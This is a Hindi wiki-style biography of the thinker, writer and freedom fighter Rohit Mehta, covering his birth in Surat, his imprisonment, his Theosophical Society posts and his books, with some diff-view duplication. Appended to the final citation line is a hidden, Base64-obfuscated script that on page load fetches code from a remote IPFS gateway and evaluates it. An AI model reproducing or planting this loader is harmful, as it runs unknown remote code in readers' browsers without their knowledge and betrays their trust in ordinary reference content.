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रोहित मेहता योग्य व्यक्ति थे। उनमें क्षमताएं थीं, वे विचारक थे, दार्शनिक थे, भाष्यकार थे, लेखक थे और विख्यात वक्ता थे। उन्होंने [[यूरोप]], [[एशिया]], [[अफ्रीका]], [[अमेरिका]] आदि देशों का भ्रमण किया और दर्शन पर प्रभावशाली व्याख्यान दिये। मेहता का मानना था कि वास्तविक रहस्य कभी न समाप्त होने वाली यात्रा में ही है। वे [[1941]] में अडयार, [[तमिलनाडु]] गए। मेहता ने 3 वर्षों तक थियोसोफिकल सोसाइटी में अंतर्राष्ट्रीय सेक्रेटरी का काम किया और 15 वर्षों तक इस संस्था की भारतीय शाखा के महामंत्री रहे। | रोहित मेहता योग्य व्यक्ति थे। उनमें क्षमताएं थीं, वे विचारक थे, दार्शनिक थे, भाष्यकार थे, लेखक थे और विख्यात वक्ता थे। उन्होंने [[यूरोप]], [[एशिया]], [[अफ्रीका]], [[अमेरिका]] आदि देशों का भ्रमण किया और दर्शन पर प्रभावशाली व्याख्यान दिये। मेहता का मानना था कि वास्तविक रहस्य कभी न समाप्त होने वाली यात्रा में ही है। वे [[1941]] में अडयार, [[तमिलनाडु]] गए। मेहता ने 3 वर्षों तक थियोसोफिकल सोसाइटी में अंतर्राष्ट्रीय सेक्रेटरी का काम किया और 15 वर्षों तक इस संस्था की भारतीय शाखा के महामंत्री रहे। | ||
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05:17, 20 मार्च 2022 के समय का अवतरण
रोहित मेहता
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पूरा नाम | रोहित मेहता |
जन्म | 3 अगस्त, 1908 |
जन्म भूमि | सूरत, गुजरात |
मृत्यु | 20 मार्च, 1995 |
मृत्यु स्थान | वाराणसी, उत्तर प्रदेश |
कर्म भूमि | भारत |
कर्म-क्षेत्र | लेखन, भारतीय स्वतंत्रता संग्राम |
मुख्य रचनाएँ | दर्शन पर 25 से अधिक पुस्तकें लिखीं |
प्रसिद्धि | साहित्यकार, विचारक, लेखक, दार्शनिक, भाष्यकार और स्वतंत्रता सेनानी |
नागरिकता | भारतीय |
अन्य जानकारी | रोहित मेहता ने 3 वर्षों तक थियोसोफिकल सोसाइटी में अंतर्राष्ट्रीय सेक्रेटरी का काम किया और 15 वर्षों तक इस संस्था की भारतीय शाखा के महामंत्री रहे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
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परिचय
प्रसिद्ध विचारक, लेखक और स्वतंत्रता सेनानी रोहित मेहता का जन्म 3 अगस्त, 1908 ईस्वी को सूरत (गुजरात) में हुआ था। सूरत, अहमदाबाद और मुंबई में उन्होंने अपनी शिक्षा पूरी की। विद्यार्थी जीवन से ही वे सार्वजनिक कार्यों में भाग लेने लगे थे। 18 वर्ष की उम्र में उन्होंने गुजरात कॉलेज, अहमदाबाद की 3 महीने तक चली हड़ताल का नेतृत्व किया था। स्वतंत्रता संग्राम में भाग लेने के कारण उन्होंने 5 बार जेल की सजा काटी। वे कांग्रेस में समाजवादी विचारों के समर्थक थे। [1]
योग्यता
रोहित मेहता योग्य व्यक्ति थे। उनमें क्षमताएं थीं, वे विचारक थे, दार्शनिक थे, भाष्यकार थे, लेखक थे और विख्यात वक्ता थे। उन्होंने यूरोप, एशिया, अफ्रीका, अमेरिका आदि देशों का भ्रमण किया और दर्शन पर प्रभावशाली व्याख्यान दिये। मेहता का मानना था कि वास्तविक रहस्य कभी न समाप्त होने वाली यात्रा में ही है। वे 1941 में अडयार, तमिलनाडु गए। मेहता ने 3 वर्षों तक थियोसोफिकल सोसाइटी में अंतर्राष्ट्रीय सेक्रेटरी का काम किया और 15 वर्षों तक इस संस्था की भारतीय शाखा के महामंत्री रहे।
रचनाएं
रोहित मेहता बहुत ही प्रखर लेखक थे। उन्होंने दर्शन पर 25 से अधिक पुस्तकें लिखीं।
मृत्यु
प्रसिद्ध विचारक लेखक और स्वतंत्रता सेनानी रोहित मेहता का 20 मार्च, 1995 को वाराणसी में निधन हो गया।
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टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 753 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
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